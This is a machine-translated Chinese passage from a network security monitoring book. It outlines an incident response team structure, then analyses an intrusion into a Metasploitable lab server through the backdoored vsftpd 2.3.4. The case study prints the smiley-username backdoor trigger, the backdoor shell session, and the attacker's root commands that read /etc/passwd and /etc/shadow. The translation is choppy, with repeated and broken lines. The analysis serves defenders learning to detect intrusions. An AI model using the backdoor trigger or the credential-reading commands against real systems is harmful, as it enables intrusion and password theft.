建立 CIRT
本书主要面向那些作为个人或团队成员实践 NSM 的人。
CIRTs 的成员。那些作为独立贡献者工作的人可能希望你
成员扩展处理 NSM 任务资源的支持。为了帮助证明理由,
为了确认增项,跟踪这些关键指标:
• 事件的分类和计数
• 从事件检测到遏制的时间
将这些指标呈交给管理人员并询问他们是否
满意他们的数据。他们对事件类型和数量满意吗?
每季度和每年的事件数量?他们对所花费的时间是否满意?
从事件检测到遏制需要多久时间?如果答案是
不,估算增加人力、新工具和更好流程的成本。
这就是你为增加新的 CIRT 功能,甚至是创建新 CIRT 的理由,
组织成立首个 CIRT 的过程。(更多关于建立 CIRT 的理由,
相关的反威胁操作,参见我在
2011 年 7-8 月期的《信息安全杂志》http://taosecurity 号刊物
.blogspot.com/2011/12/become-hunter.html. ) 一旦获得批准增加 CIRT 能力,接下来的决策是如何建立团队。我建议
如图 9-7 所示的常规功能。
事件响应总监
事件检测与响应
应用威胁
基础设施和
响应
情报
开发
事件处理员
主分析师
建筑师
事件分析师
高级分析师
工程师
事件分析员
助理分析师
管理员
成员关系团队
图 9-7:通用 CIRT 结构
NSM 操作 203
CIRT 结构包括以下组成部分:
事件响应总监
总监组织、培训并装备 CIRT,确保其成功。总监负责
总监从三个 CIRT 组成部分中选择一名副手,以协助工作。
协助执行此任务,并将管理层排除在 CIRT 之外。
以便 CIRT 能够顺利执行其任务。
事件检测与响应 (IDR) 中心
该小组负责每日的安全分析和事件升级。
安全事件。IDR 中心包括事件处理员(IHs,有经验的
经历过猎杀任务的分析师),事件分析员(IAs,中级
结合猎杀与匹配的分析师,事件分析师(EAs,
初级分析师专注于匹配分析。所有级别的分析师都有
访问所有数据类型,但 EAs 和 IAs 只能对其分类事件进行分类。
他们负责。事件处理员(IHs)训练事件分析员(IAs)和事件分析师(EAs),并带领他们进行数字猎杀。
出差并将经验转化为可重复的操作手册,EAs
用于识别入侵。事件处理员(IHs)开启、管理并关闭波次,视情况而定,
在事件分析员和事件分析员的支持下进行工作。如果可能,IDR 中心与
24×7 时间表,至少有 EAs 全天候值班,IHs 和 IAs 随时待命。
应用威胁情报 (ATI) 中心
该小组负责数字情报活动,内部
安全咨询、对手模拟、红队测试和渗透
测试工作。它包括以下小组:
• 情报团队 在波次期间提供报告支持
定期向 CIRT 和管理层提供对手活动的简报和更新,
成员搜索证据,寻找指示性
权衡并分析以提取对手的工具、技术和程序。
和程序。
• 红队 主动评估和测试组织的安全
通过模拟各种攻击手段来确定其安全态势,
威胁。该团队提供一种衡量标准,通过它可以评估 CIRT 的表现。
性能可以量化。
• 蓝队 成员作为内部安全顾问。他们
帮助组织改善其资产的安全性。
基础设施与开发 (ID) 中心
该小组通过使用软件工具支持其他两个 CIRT 组成部分的工作,
软件开发人员,编写生产级工具。它设计、构建,
部署并运行收集、分析和升级工具。它还负责
引领新的检测和响应技术的开发。尽管
其他团队可能会开发概念验证工具来支持他们的
任务完成后,ID 团队最终负责这些工具。
204 第九章
组成关系团队
该小组充当 CIRT 与其成员之间的中介。
这些团队成员帮助保持 CIRT 与其成员之间的顺畅运行。
CIRT 与成员之间的关系,他们代表 CIRT 在公司外部进行工作。
公司本身。
结论
本章解释了包含规划、检测、响应等的企业安全周期,
抵抗、检测和响应阶段。许多组织将所有资源都投入到
他们把大部分精力投入到规划和抵抗中,但几乎不投入任何资源到
检测和响应。
近年来,随着持续入侵者突破常规防线,
防御措施,组织已经开始意识到检测和响应的价值。
响应。如果对手在能够完成其任务之前失去了对组织的访问权限,
如果对手在完成任务之前失去访问权限,那么他们就失败了。CIRT 每次战胜对手都获得胜利。
在对手能够窃取、篡改或拒绝访问商业信息之前拦截他。
NSM 过程包括收集、分析、升级和解决,这一过程至关重要。
这是一个强大的框架,能够赋能 CIRT 并令对手陷入困境。
为了成功,CIRT 必须对所有事件进行分类和计数,
检测到事件,并衡量从事件检测到遏制所需的时间。
他们应当制定时间敏感的流程来管理事件,并
他们将自身构建成提供检测、情报和支持的混合体。
功能。
在理解这些内容后,我们现在转向几个案例研究
本章展示了 NSM 操作在实际中的应用。
NSM 操作 205
10
服务器端的妥协
这是关键时刻。现在你已经
准备好看到 NSM 实际操作了。在本章中,
我们将把理论、工具和过程应用到实际操作中
在简单的妥协场景中工作。到目前为止,
你已经使用 SO 实施了一个传感器并收集了
一些 NSM 数据。现在你计划分析可用的
提供充分的证据。
本章展示了一个服务器端的妥协——这是主要的攻击方式之一。
你可能会遇到的恶意网络活动的类别。接下来的内容
本章展示了一个客户端妥协,这可能比服务器端变体更为常见。
服务器端变体通常比客户端变体更受欢迎。我们从服务器端妥协开始。
妥协因为它在概念上更容易理解。
因为这是一本关于 NSM 的书,在本章和第十一章中,我们将
查看两种流行的网络攻击类型的入侵模式。
例如,我不会讨论将恶意 USB 驱动器插入笔记本电脑,
或者恶意内部人员通过内网计算机进行密码猜测等攻击
终端的信息。相反,我们将专注于跨网络的攻击。这些是远程攻击,而非需要与物理或虚拟上已存在的系统进行交互的本地变种。
服务器端受损定义
一个服务器端受损事件涉及入侵者决定攻击一个应用程序—
暴露在互联网上的服务应用程序。该应用程序可能是一个 Web 服务,
文件传输协议服务、数据库或任何其他监听网络的软
网络流量。图 10-1 显示了一个服务器端攻击模式的示例。
损害。
- 入侵者对暴露的服务发起攻击,
受害者系统中的漏洞应用程序。
网络连接
入侵者
受害者
- 攻击方法利用了漏洞的应用程序
被利用
在受害者系统上执行代码或命令。
网络连接
入侵者
受害者
- 恶意代码通过三种方式与入侵者交互:
a. 入侵者重新利用现有的连接到受害者应用程序
或者
b. 入侵者向通过受害者系统创建的后门发起新连接。
恶意代码的风险
或者
c. 恶意代码导致受害者回击入侵者
图 10-1:服务器端受损攻击模式
入侵者会联系应用程序,以了解更多关于
这项侦察活动被视为 Cat 6 事件,如前所述
第九章中的描述(见图 9-5)。如果入侵者试图利用
任何漏洞在其代码中的表现,都会使其被归类为 Cat 3 事件。如果
入侵者设法让应用程序为他执行恶意任务,这次攻击
攻击成功,并且漏洞利用已发生。根据类别外部
如图 9-5 所示,我们现在面对的是一个 Cat 1 入侵。经过
入侵者在受害者计算机上执行恶意代码或命令,他
打开一个或多个通道,以进一步增强他对系统的控制。
这被称为命令与控制 (C2) 渠道。建立 C2 渠道
使该活动被归类为 Breach 3 类型的入侵。
一旦入侵者与受害者建立 C2 连接,他就可以执行
他可能希望从第一个受害者窃取信息,或者作为
受害者。也许他想从第一个受害者转移到另一台计算机
208 第十章
或公司内部的应用程序。也许他想通过这个受害者进行跳跃,攻击另一个完全不同的组织,利用新被破坏的受害者作为跳板,或跳跃点。
无论攻击者接下来选择做什么,其目标都不会改变
CIRT 在这一阶段需要迅速评估入侵的范围并进行
采取快速的遏制措施,以减轻数据丢失、篡改和
降级。
服务器端受损行动
在本章的示例中,我们将讲解一个服务器端受损的过程
当入侵者攻击暴露在互联网上的服务时,就会发生这种情况。
被单独的 NSM 平台监控的计算机,运行着 SO 系统。
我们将检查 NSM 数据中一个样本入侵的样子,并弄清楚
弄清楚如何理解这些数据。
目标网络是 Vivian’s Pets 网络上的一个新分段,正如
如图 10-2 所示。网络包括一台服务器(192.168.3.5)、一台桌面
顶端(192.168.3.13),以及支持网络设备。一台 NSM 传感器
监控到互联网的上行链路,使用网络拓扑。公司
CIRT 成员创建了他们认为是隔离的测试网络
带着一些计算机学习更多关于安全的内容。不幸的是,
他们未能有效保护该分段的系统。在这个过程中
试图学习更多关于计算机安全的内容,他们可能已经暴露了
使公司面临额外风险。
互联网
NSM
测试
网络
拓扑
服务器
192.168.3.5
桌面
192.168.3.13
图 10-2:Vivian’s Pets 网络上的测试网络
服务器端妥协 209

在这种配置下,NSM 平台将看到来自和去往
测试网络。为了简单起见,我已配置网络,使 NAT 未启用
所需时,当你看到测试网络与外部计算机交互时,
Vivian’s Pets 网络的流量,你应当假设没有翻译发生
发生。 (在现实中,你可能需要处理一定程度的
由于 NAT 问题而造成的混淆,正如第二章所描述。)
从 Sguil 开始
Vivian’s Pets CIRT 的工作始于访问其 Sguil 控制台,
团队使用的主要 NSM 数据接口。回想一下,Sguil
允许分析师通过查看会话和完整内容数据来调查警报,
以及一些事务数据。
一天,一名分析师登录到 NSM 平台的 Sguil 控制台
如图 10-2 所示,查看图 10-3 中显示的警报。
图 10-3:Vivian’s Pets 网络上的 Sguil 控制台
默认的 Sguil 控制台显示警报数据。这里显示的警报
主要由 PRADS 被动资产检测系统生成
(由 PADS 预设的条目)以及由 Snort IDS 引擎生成的条目
由 GPL 或 ET 预设)。
我们看到一大批来自源 IP 地址 203.0.113.10 的 PRADS 事件。
该 IP 地址代表远程入侵者。(203.0.113.0/24 网
该区块根据 RFC 5735 规定为文档用途保留,连同
我们在第二章中看到的 198.51.100.0/24 网段。)
210 第十章

从 Alert ID 4.75 开始到 4.87 结束的事件代表
PRADS 报告发现两台计算机上有新服务:192.168.3.5
以及 192.168.3.13,这两个系统位于测试网络段,如
图 10-2。正如 PRADS 通过观察计算机交互来学习服务
与它们交互时,它会生成这类警报。这里的结果是一个方便的摘要
至少是远程入侵者 203.0.113.10 所发现的一些服务的总结
似乎已发现。从 2013-03-09 21:32:07 开始,时间戳
在第一条警报中,源 IP 地址为 203.0.113.10,我们看到
203.0.113.10 至少对两台计算机进行了网络侦察,
测试网络中的计算机。
其他活动呢?第一条警报,源 IP 地址为
192.168.3.130,似乎是 PRADS 报告发现了一个 DNS 服务器
在 192.168.3.1 上。那并不奇怪。来自 PRADS 事件之后的警报
203.0.113.10 看起来更令人担忧。
在深入研究这些警报之前,让我们稍微绕个弯,验证一下我们的
假设 203.0.113.10 对此进行网络侦察
测试网络。
查询 Sguil 会话数据
为了确定 203.0.113.10 执行了什么网络侦察,
我们可以查询 Sguil 中 203.0.113.10 的会话数据。由于
在 Sguil 控制台中目标服务的数量,我们可以猜测 203.0.113.10
扫描了两台目标计算机上的许多 TCP 端口。因此,当我们
在 Sguil 中查询会话数据时,我们将手动调整会话限制计数
从 1000 条结果调整到 10,000 条结果。
为了执行会话数据查询,我们突出显示其中一条警报记录
显示 203.0.113.10 作为源 IP 地址,然后选择 高级
查询4查询 Sancp 表4查询 SrcIP,如图 10-4 所示\。
图 10-4:使用源 IP 地址查询会话数据
结果查询构建器窗口提供了两个 Where 子句框
让我们编辑。我们需要确保会话的默认开始时间
记录将捕获我们关心的数据。在这种情况下,活动从
在 2013 年 3 月 9 日 21:32:07 UTC,因此我们修改 Where 子句框
搜索正确的时间,如列表 10-1 所示\。
服务器端妥协 211

WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10') 列表 10-1:涉及 203.0.113.10 的会话数据搜索语法
还需要在查询构建器窗口中调整 LIMIT 字段,从
从 1000 条到 10,000 条结果,我们选择 提交 来运行查询。来自
Sguil 数据库生成了 2104 条记录,开始于那些显示的记录
图 10-5\。
图 10-5:展示 203.0.113.10 的会话数据,显示侦察阶段 1 和 2,以及阶段 3 的开始
来自 203.0.113.10 的活动开始于 2013-03-09 21:31:44\。我们可以
将事件序列分解为几个不同的元素。
• 首先,攻击者使用 ICMP(IP 协议 1)执行侦察
反对 192.168.3.0/24 网络上的一部分系统。我们无法确定
确定,但也许入侵者之前进行了侦察(没有记录
(这里)导致他只尝试 ping 这六台系统。ICMP 扫描
这是阶段 1. 他在 2013-03-09 21:31:45 开始阶段 2,进行扫描
反对多个系统的端口 80 和 443 TCP。
212 第十章

• 阶段 3 于 2013-03-09 21:32:01 开始,扫描多种不同类型
TCP 端口。在第 4 阶段,仍然是相同的时间戳,我们看到较小的
可能是开放端口的扫描。(活动非常迅速,似乎
(所有的开始时间相同的一秒钟。)
图 10-6 显示了第 3 阶段的结束和第 4 阶段的开始\。
图 10-6:侦察阶段 3 结束,阶段 4 开始。
图 10-7 显示第 4 阶段在 2013-03-09 21:32:06 结束,接着是
入侵者再次改变战术。2013-03-09 21:32:07,他进行了额外的
进一步的侦察活动,开始了第 5 阶段——查询活跃服务。
我们看到他发送和接收更多的数据,如图中的
图 10-7 中的最右列显示了更高的数据传输量。\
计算机通常表示更“有意义”的对话。低计数
通常只是交换 TCP 三次握手的状态信息—
例如,震动之类的动作。)
图 10-5 到 10-8 中最右的四列显示了数据包
和源发送的数据、目标发送的分组及数据。
入侵者可能正在使用侦察工具来分析目标的活跃服务—
侦察工具收集有关可用服务的信息。该
入侵者比较扫描得出的信息以寻找可用的
攻击方法,如果他找到一个能够利用暴露的弱点的办法
漏洞,他将利用这个弱点。
服务器端泄露 213

图 10-7:侦察阶段 4 结束,阶段 5 开始。
活动的最后阶段在 2013-03-09 21:38:38 开始,如下所示
在图 10-8 中。入侵者的侦察工具已完成信息收集
信息,他暂停来回顾他的结果。在发现一个弱点后—
漏洞,他似乎正在利用它,尽管从会话中看不出这一点—
显示的会话数据。(我们将在原始 Sguil 控制台上检查此警报数据
用于澄清。)现在,查看从 21:38:38 开始的会话记录\。
从 21:38:38 开始的会话看起来与之前的会话非常不同
一些会话显示了大量数据传输,涉及端口 6200
TCP。另一个会话(记录显示涉及端口 21 TCP 的活动)显示
一个活跃的 FTP 命令通道。在经过五个侦察阶段后
来自 203.0.113.10 的数据,随后是涉及端口 21 和 6200 的专注活动
TCP,我们应该仔细查看这些最后的连接。
返回警报数据
让我们检查一下 Sguil 控制台中的两个警报。如图 10-9 所示,我们
看到了两个令人担忧的警报,标题为 GPL ATTACK_RESPONSE id check 返回 root
和 ET EXPLOIT VSFTPD 后门用户登录 Smiley。还有一个奇怪的警报
标题为 PADS 新资产 - sql MySQL 3.0.20-0.1ubuntu1 的记录,接着是两个
ICMP 警报。
214 第十章


图 10-8:侦察阶段 5 结束,入侵者攻击受害者。
图 10-9:Snort 警报数据,跟随侦察警报
服务器端漏洞 215
我已突出显示 ET EXPLOIT 警报的记录,因为它似乎是最直接的一个,并且使用了一个相当熟悉的协议:FTP。
Sguil 的显示数据包数据选项显示提供给
FTP 服务器是 0M:),后跟回车符(0D)和换行符(0A)。(FTP
这些命令以这些字符结尾,表示它们通过
用户(或攻击工具)输入 FTP 用户名时,FTP 客户端出现。
我们可以尝试通过右键点击生成该事件的记录
警报 ID 字段并选择Transcript。结果如列表 10-2 所示。
传感器名称:sovm-eth1-1
时间戳:2013-03-09 21:38:38
连接 ID: .sovm-eth1-1_6011
源 IP: 203.0.113.10u(未知)
目标 IP: 192.168.3.5x(未知)
源端口:50376
Dst Port: 21w
操作系统指纹:203.0.113.10:50376 - 未知 [S10:63:1:60:M1460,S,T,N,W4:.:?:?](已上线:1 小时) 操作系统指纹: -> 192.168.3.5:21(链路:以太网/调制解调器)
DST: 220 (vsFTPd 2.3.4)v
DST:
SRC: 用户名 0M:)y
SRC:
DST: 331 请指定密码。
DST:
SRC: PASS azzz
SRC:
DST: 421 超时{
DST:
列表 10-2:ET EXPLOIT 警报的记录
该记录显示 203.0.113.10 u 登录到 FTP 服务器 v 上
端口 21 TCP w 在 192.168.3.5 x 上。用户名是 0M:) y,如前所述
由 Snort 警报生成。客户端提供密码 azz z,但没有进行任何通信-
通信没有发生{。接下来发生了什么,连接呢?
涉及端口 6200 TCP?
使用 Tshark 查看完整内容数据
在这种情况下,我建议检查原始流量,以
记录下来的完整内容数据。我们感兴趣的是在
2013-03-09 21:38:38 时间戳,涉及端口 21 或 6200 的 TCP 流量。我们可以
通过查看相应目录中的文件读取完整内容数据
名为 sovm 的传感器并通过监视 eth1 接口。我们运行 ls 命令-
命令查看完整内容文件的名称,详情如下所示
在列表 10-3 中\。
216 第十章
$ cd /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-09
$ ls
snort.log.1362864654
$ tshark -n -t ad -r snort.log.1362864654 tcp.port21 or tcp.port6200
列表 10-3:查找完整内容数据并运行 Tshark
我们使用 Tshark,因为默认情况下它显示更多协议级别的细节。
使得更容易跟踪发生的情况。现在我们来看每个相关的
将这些细节分部分检查。(我们开始时忽略与侦察相关的流量。)
与侦察相关的流量)
列表 10-4 显示了前两个有趣的数据包。
6589 2013-03-09 21:38:38.159255 203.0.113.10u -> 192.168.3.5w
TCP 74 40206 > 6200v [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK_PERM=1 TSval=695390 TSecr=0 WS=16
6590 2013-03-09 21:38:38.159451 192.168.3.5 -> 203.0.113.10
TCP 60 6200 > 40206 [RST, ACK]x Seq=1 Ack=1 Win=0 Len=0
清单 10-4:203.0.113.10 尝试连接到 192.168.3.5 的 6200 端口 TCP,但失败。
在清单 10-4 中,203.0.113.10 u 尝试连接到 192.168.3.5 上的 6200 端口 TCP v
在 192.168.3.5 w 上,但连接失败,因为 6200 端口 TCP 未监听。
它回复 RST, ACK x,表示连接关闭。
清单 10-5 展示了接下来的发生情况。
6591 2013-03-09 21:38:38.160692 203.0.113.10u -> 192.168.3.5w
TCP 74 50376 > 21v [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK_PERM=1 TSval=695390 TSecr=0 WS=16
6592 2013-03-09 21:38:38.160702 192.168.3.5 -> 203.0.113.10
TCP 74 21 > 50376 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=276175 TSecr=695390 WS=32
6593 2013-03-09 21:38:38.161131 203.0.113.10 -> 192.168.3.5
TCP 66 50376 > 21 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695390 TSecr=276175
6594 2013-03-09 21:38:38.162679 192.168.3.5 -> 203.0.113.10
FTP 86 响应:220 (vsFTPd 2.3.4)
6595 2013-03-09 21:38:38.163164 203.0.113.10 -> 192.168.3.5
TCP 66 50376 > 21 [ACK] Seq=1 Ack=21 Win=14608 Len=0 TSval=695391 TSecr=276175
6596 2013-03-09 21:38:38.164876 203.0.113.10 -> 192.168.3.5
FTP 77 请求:USER 0M:)x
6597 2013-03-09 21:38:38.164886 192.168.3.5 -> 203.0.113.10
TCP 66 21 > 50376 [ACK] Seq=21 Ack=12 Win=5792 Len=0 TSval=276175 TSecr=695391
6598 2013-03-09 21:38:38.164888 192.168.3.5 -> 203.0.113.10
FTP 100 响应:331 请提供密码。
6599 2013-03-09 21:38:38.166318 203.0.113.10 -> 192.168.3.5
FTP 76 请求:PASS azzy
清单 10-5:203.0.113.10 登录到 192.168.3.5 的 FTP 服务器。
服务器端漏洞 217
在清单 10-5 中,我们看到 203.0.113.10 u 连接到 192.168.3.5 w 上的 FTP 服务,端口为 21 TCP v。我们还看到用户 0M:) x 登录并
提供密码 azzy。清单 10-6 展示了成功登录后的结果。
成功登录。
6600 2013-03-09 21:38:38.166971 203.0.113.10u -> 192.168.3.5w
TCP 74 60155 > 6200v [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK_PERM=1 TSval=695392 TSecr=0 WS=16
6601 2013-03-09 21:38:38.166978 192.168.3.5 -> 203.0.113.10
TCP 74 6200 > 60155 [SYN, ACK]x Seq=0 Ack=1 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=276175 TSecr=695392 WS=32
6602 2013-03-09 21:38:38.168296 203.0.113.10 -> 192.168.3.5
TCP 66 60155 > 6200 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695392 TSecr=276175
6603 2013-03-09 21:38:38.168738 203.0.113.10 -> 192.168.3.5
TCP 69 60155 > 6200 [PSH, ACK] Seq=1 Ack=1 Win=14608 Len=3 TSval=695392 TSecr=276175
6604 2013-03-09 21:38:38.168775 192.168.3.5 -> 203.0.113.10
TCP 66 6200 > 60155 [ACK] Seq=1 Ack=4 Win=5792 Len=0 TSval=276175 TSecr=695392
-- 截断 --
清单 10-6:203.0.113.10 连接到 192.168.3.5 的 6200 端口 TCP。
紧接着,在断开与 FTP 服务器的连接之前,
我们看到来自 203.0.113.10 u 的新连接到 192.168.3.5 w 上的 6200 端口 TCP v
192.168.3.5 w。与清单 10-4 中不同,这次 6200 端口 TCP 正在监听。
连接时,它通过回复 SYN, ACK x 来接受连接。
该事件序列显示,端口 6200 TCP 并未主动接受
直到 203.0.113.10 登录到 FTP 服务器并提供连接
正确的用户名和密码。
理解后门
这个模式表明,位于 192.168.3.5 的 FTP 服务器存在编程错误
后门在寻找某个用户名和密码。在我们的案例中,我们
看到了用户 0M:) 和密码 azz。
结果发现 192.168.3.5 正在运行一个版本的 vsftpd FTP
服务器报告称 2011 年 7 月发现的未经授权的后门
由 vsftpd 开发者 Chris Evans 编写 (http://scarybeastsecurity.blogspot.com/2011/07/
alert-vsftpd-download-backdoored.html)。没有关于代码如何
后门出现在博客文章中,但最终的效果是
包含严重安全漏洞的软件。用户输入用户名时
结尾带有笑脸符号(如 😃))的用户名将能够连接到后门
在 FTP 服务器上创建了后门。图 10-10 总结了情况并增加了
针对此案例的具体细节。
为什么日志显示在成功利用前涉及端口 6200 TCP 的记录?
FTP 服务器的成功利用?正如我们在完整数据内容中看到的
由 Tshark 渲染,FTP 连接发生在后门之前
连接。显然,用于记录警报和会话数据的工具
无法区分这些连接的开始时间,而且
218 第十章
他们没有按顺序记录这些数据。这种情况偶尔会发生在执行 NSM 时。这一现象有助于支持收集多个 NSM 数据的观点
数据类型。当某些事情看起来不对劲时,你可以比较不同的数据类型,以更好地确定真正发生了什么。
比较不同的数据类型,以更好地判断到底发生了什么。
1. 入侵者对暴露的目标发起攻击,
受害系统上的漏洞应用程序。
网络连接到端口 21 TCP
入侵者
受害者
203.0.113.10
192.168.3.5
2. 攻击方法利用了漏洞应用程序
在受害系统上执行代码或命令。
vsftpd
被利用
用户 0M:)
密码 azz
网络连接到端口 6200 TCP
入侵者
受害者
203.0.113.10
192.168.3.5
3. 恶意代码与入侵者的互动:
入侵者启动了新的连接
恶意代码创建的后门。
图 10-10:服务器端 ACK,涉及利用漏洞的 vsftpd 服务器
入侵者做了什么?
在确认发生了恶意行为后,我们需要理解
其影响。这个场景似乎至少是 Breach 3 级别的事件,因为
说明入侵者已经从他的计算机建立了 C2 通道到受害者。
我们如何知道事情有多严重?
我们已经看到一个 GPL ATTACK_RESPONSE 警报,显示 id 检查返回了 root 权限。
我们还知道端口 6200 TCP 是 C2 通道。我们或许能够
通过生成该连接的记录,了解入侵者的行为
通过 GPL ATTACK_RESPONSE 警报或使用会话进行操作
从 203.0.113.10 到 192.168.3.5 的端口 6200 TCP 传输数据。我们可以检查
详细生成该会话的内容记录,如你将看到的那样
在接下来的章节中。此检查应能帮助我们更好地理解
这说明了入侵者的行为。
初始访问
从 203.0.113.10 到 192.168.3.5 的活动记录,如下所示
Listing 10-7 显示了各种事件。我们无法确定是否有入侵者在
与系统交互的实时方式,或者他正在执行一个自动化脚本—
估计的攻击。重要的是,这些活动的后果。
服务器端妥协 219
传感器名称: sovm-eth1-1
时间戳: 2013-03-09 21:38:38
连接 ID: .sovm-eth1-1_6012
源 IP: 203.0.113.10u (未知)
目标 IP: 192.168.3.5v (未知)
源端口: 60155
目标端口: 6200
操作系统指纹: 203.0.113.10:60155 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?] (已运行: 1 小时) 操作系统指纹: -> 192.168.3.5:6200 (链路: 以太网/调制解调器)
SRC: idw
目标: uid=0(root) gid=0(root) x
SRC: nohup >/dev/null 2>&1
SRC: echo T33KwxKuFgj4Uhy7
目标: T33KwxKuFgj4Uhy7
SRC: whoamiy
目标: rootz
SRC: echo 3816568630;echo hJZeerbzDFqlJEwWxlyePwOzBhEhQYbN
目标: 3816568630
目标: hJZeerbzDFqlJEwWxlyePwOzBhEhQYbN
SRC: id -u{ ;echo idGIIxVuiPbrznIwlhwdADqMpAAyLIlj}
目标: 0|
目标: idGIIxVuiPbrznIwlhwdADqMpAAyLIlj
Listing 10-7: 显示从 203.0.113.10 到 192.168.3.5 的活动记录的开始
记录的第一部分显示 203.0.113.10 u 作为源 (SRC)
IP 地址,192.168.3.5 v 作为目标 (DST) IP 地址。
入侵者或入侵者执行的代码运行了 Unix id 命令 w
用于确定该通道当前提供的权限。结果
这表明这是一个 root 级别的帐户 x。我们看到用户的确认
使用 whoami 命令 y 和其对应结果: root z。
现在,使用带 -u 选项的 id 命令 {,入侵者看到效果—
有效用户 ID 为 0 |,这与 root 访问权限相关。入侵者
或者他的脚本似乎在使用带有长字符串的 echo 语句 } 来标记
系统活动流中的某些位置。
枚举受害者
逐行记录继续如 Listing 10-8 所示。执行一些基本命令后,
命令,入侵者花费更多时间了解受害者。
SRC: /usr/sbin/dmidecodeu ;echo WqyRBNDvoqzwtPMOWXAZNDHVcqKrjVOA
目标: # dmidecode 2.9
目标: SMBIOS 2.4 存在。
目标: 364 个结构,占用 16040 字节。
目标: 表格位于 0x000E0010.
-- 省略 --
目标: 句柄 0x016B, DMI 类型 127, 4 字节
目标: 表格结束
目标: WqyRBNDvoqzwtPMOWXAZNDHVcqKrjVOA
220 第十章
SRC: ls /etcv ;echo PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
目标: X11
目标: adduser.conf
目标: adjtime
目标: aliases
目标: aliases.db
-- 省略 --
目标: wgetrc
目标: wpa_supplicant
目标: xinetd.conf
目标: xinetd.d
目标: zsh_command_not_found
目标: PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
SRC: uname -aw ;echo gSQsJbnmNmNLEqElLTNRfxfLUQNndGaS
DST: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linuxx
DST: gSQsJbnmNmNLEqElLTNRfxfLUQNndGaS
SRC: cat '/etc/issue'y;echo KoDdtYNGyWHGPIkHITZtMAYrhsyckIIC
DST: _ _ _ _ _ _ ____
DST: _ __ ___ | | __ _ ___ _ __ | | ___ () | __ | |_ | | | \
DST: | '_ _ \ / _ \ __/ _ / _| ' | |/ _ | | __/ ` | ' | |/ _ \ __) |
DST: | | | | | | __/ || (| _ \ |) | | () | | || (| | |) | | __// __/
DST: || || ||___|__,|/ ./||_/||__,|_./|_|_|___|
DST: |_|
DST: 警告:切勿将此虚拟机暴露于不信任的网络!
DST: 联系方式:msfdev[at]metasploit.com
DST: 使用 msfadmin/msfadmin 登录以开始操作 z
DST: KoDdtYNGyWHGPIkHITZtMAYrhsyckIIC
SRC: hostname{;echo SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ
DST: metasploitable
DST: SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ
清单 10-8: 受害者枚举
入侵者或其脚本列举了受害者的各种信息
系统。他首先使用 dmidecode 命令 u 了解更多有关
平台本身。接下来,他获取了 /etc v 目录的列表,其中许多关键的系统配置文件存放在此。通过 uname 命令 w,他发现系统运行的内核版本 x。显示的内容-
issue 文件的内容,显示了用户登录后出现的文本 z。最后,入侵者读取了受害者的主机名 {。该主机系统正在运行
一个名为 Metasploitable 的 Linux 发行版,这是一个用于学习
数字攻击与防御,由 Rapid7 的 Metasploit 团队开发
(http://sourceforge.net/projects/metasploitable/files/Metasploitable2/)。防御者在进行安全评估时使用 Metasploitable 进行培训。
因为 Metasploitable 只有漏洞——这使它非常适合
任何想要测试检测系统有效性的人。
显然,Vivian’s Pets 的某个工作人员下载了 Metasploitable,
已安装在测试网络上,并暴露给互联网。一个入侵者
来自 IP 地址 203.0.113.10 的攻击者发现了计算机,利用了该漏洞
在其上运行的 vsftpd 服务器,并列举了计算机的关键方面。
服务器端妥协 221
访问凭据
在录音的最后部分,入侵者转向了用户创建的文件
凭据已存储,如清单 10-9 所示\。
SRC: cat '/etc/passwd'u;echo nRVObgMSefnPCAljIfCKrtCxyxAFwbXo
SRC:
DST: root❌0:0:rootv:/root:/bin/bash
DST: daemon❌1:1:daemon:/usr/sbin:/bin/sh
DST: bin❌2:2:bin:/bin:/bin/sh
DST: sys❌3:3:sys:/dev:/bin/sh
DST: sync❌4:65534:sync:/bin:/bin/sync
-- 截断 --
DST:
DST: nRVObgMSefnPCAljIfCKrtCxyxAFwbXo
SRC: cat '/etc/shadoww';echo YMIULmTNrfStudFPMoeddbhSAwYHGUKY
DST: root:\(1\)/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::x
DST: daemon:*:14684:0:99999:7:::
DST: bin:*:14684:0:99999:7:::
DST: sys:\(1\)fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
DST: sync:*:14684:0:99999:7:::
-- 截断 --
DST:
DST: CKNszVzdeRiiApmbrdHsuAolRXRtIFfF
SRC: ping -c 1 www.google.comy
SRC:
SRC: pwd
SRC:
DST: ping: 未知主机 www.google.comz
DST:
清单 10-9:查看 /etc/passwd 和 /etc/shadow 文件
在记录的最后部分,入侵者显示了
两个关键系统文件:/etc/passwd u 和 /etc/shadow w。/etc/passwd 文件包含关于用户的信息,例如 root v,/etc/shadow 文件存储用户密码的哈希值 x。记录以入侵者或他的
脚本尝试 ping www.google.com y,但失败了 z。
看到入侵者列出包含系统用户名和哈希密码的/etc/passwd和/etc/shadow文件令人不安。如果他突破了
通过这些密码,他可以直接访问系统,而不需要
破门而入,使用漏洞进行攻击。
我们现在对这个案例有了很好的了解,但这就是结局吗?
故事怎么样了?
入侵者还做了什么?
为了进一步了解发生了什么,我们需要
仔细查看此案例的其他两个方面。首先,注意图 10-8 中的内容
192.168.3.5 并不是 203.0.113.10 的唯一目标。我们还看到活动
222 第十章
涉及端口 21 和 6200 TCP 到 192.168.3.13。我们生成了一个端口 21 TCP 的记录,以查看 192.168.3.13 发生了什么。清单 10-10 显示了
结果。
传感器名称:sovm-eth1
时间戳:2013-03-09 21:46:37
连接 ID:.sovm-eth1_1362865597000002352
源 IP:203.0.113.10(未知)
目标 IP:192.168.3.13x(未知)
源端口:49220
目标端口:21v
